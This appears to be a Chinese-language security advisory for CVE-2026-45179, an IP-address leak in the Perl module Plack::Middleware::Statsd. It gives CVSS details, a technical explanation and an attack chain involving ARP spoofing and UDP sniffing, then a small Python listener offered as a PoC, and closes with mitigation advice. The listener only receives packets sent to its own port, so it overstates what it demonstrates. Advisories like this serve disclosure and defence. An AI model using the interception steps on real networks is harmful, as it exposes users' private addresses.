CVE-2026-45179 Plack::Middleware::Statsd IP地址泄露漏洞

漏洞信息

漏洞编号

CVE-2026-45179

漏洞类型

信息泄露

CVSS评分

5.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Plack::Middleware::Statsd

漏洞概述

Perl模块Plack::Middleware::Statsd在0.9.0版本之前存在信息泄露漏洞。如果与statsd守护进程的通信信道未通过加密等方式进行安全保护（例如跨网络发送UDP数据包），用户的IP地址可能会被泄露。该漏洞源于默认日志记录机制。自0.9.0版本起，除非明确配置，否则不再记录IP地址，配置后则记录IP地址的HMAC签名以保护隐私。

技术细节

该漏洞源于Plack::Middleware::Statsd中间件在默认配置下，会将客户端用户的IP地址作为指标数据的一部分，通过UDP协议发送到后端的statsd守护进程。由于UDP协议是无连接且不提供加密保障的，若配置不当（如statsd服务部署在远程网络或数据包跨越公网），攻击者无需进行认证，只需处于网络传输路径上的任意位置（或通过ARP欺骗等中间人攻击手段），即可嗅探并捕获包含用户IP的UDP数据包。攻击者解析数据包载荷即可还原出用户的真实IP地址，导致用户隐私泄露。此漏洞利用难度低，主要危害在于暴露用户地理位置等敏感信息。

攻击链分析

STEP 1

步骤1：侦察

攻击者确认目标应用使用Plack::Middleware::Statsd，且其statsd通信通过未加密的UDP信道（如跨网传输）。

STEP 2

步骤2：网络定位

攻击者设法处于网络流量路径上，或通过ARP欺骗等方式将流量重定向至其控制的主机。

STEP 3

步骤3：流量捕获

攻击者运行嗅探工具监听UDP端口（默认8125），捕获应用发送的包含用户IP的数据包。

STEP 4

步骤4：信息提取

攻击者解析捕获到的UDP数据包载荷，从中提取出真实的用户IP地址，完成信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import socket

# Simple PoC: Sniffing UDP packets to demonstrate IP leakage in Plack::Middleware::Statsd
# This script listens on UDP port 8125 (default statsd port)
# Requires root/admin privileges to bind to the port.

UDP_IP = "0.0.0.0"
UDP_PORT = 8125

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

try:
    sock.bind((UDP_IP, UDP_PORT))
    print(f"[*] Listening on {UDP_IP}:{UDP_PORT} for statsd traffic...")
    
    while True:
        data, addr = sock.recvfrom(1024)  # buffer size is 1024 bytes
        message = data.decode("utf-8", errors='ignore')
        # In a real scenario, regex would parse specific stat patterns containing IPs
        print(f"[+] Captured packet from {addr}: {message}")
        
except PermissionError:
    print("[!] Error: Permission denied. Run as root/admin.")
except KeyboardInterrupt:
    print("\n[*] Stopping listener.")
finally:
    sock.close()

影响范围

Plack::Middleware::Statsd < 0.9.0

防御指南

临时缓解措施

临时缓解措施建议将statsd守护进程部署在本地，避免通过不安全的网络传输UDP数据包。同时，利用iptables或防火墙规则严格限制UDP端口的通信范围，确保只有受信任的内部网络节点可以接收这些数据。如果无法升级，应尽量修改应用配置，停止记录敏感的IP地址字段。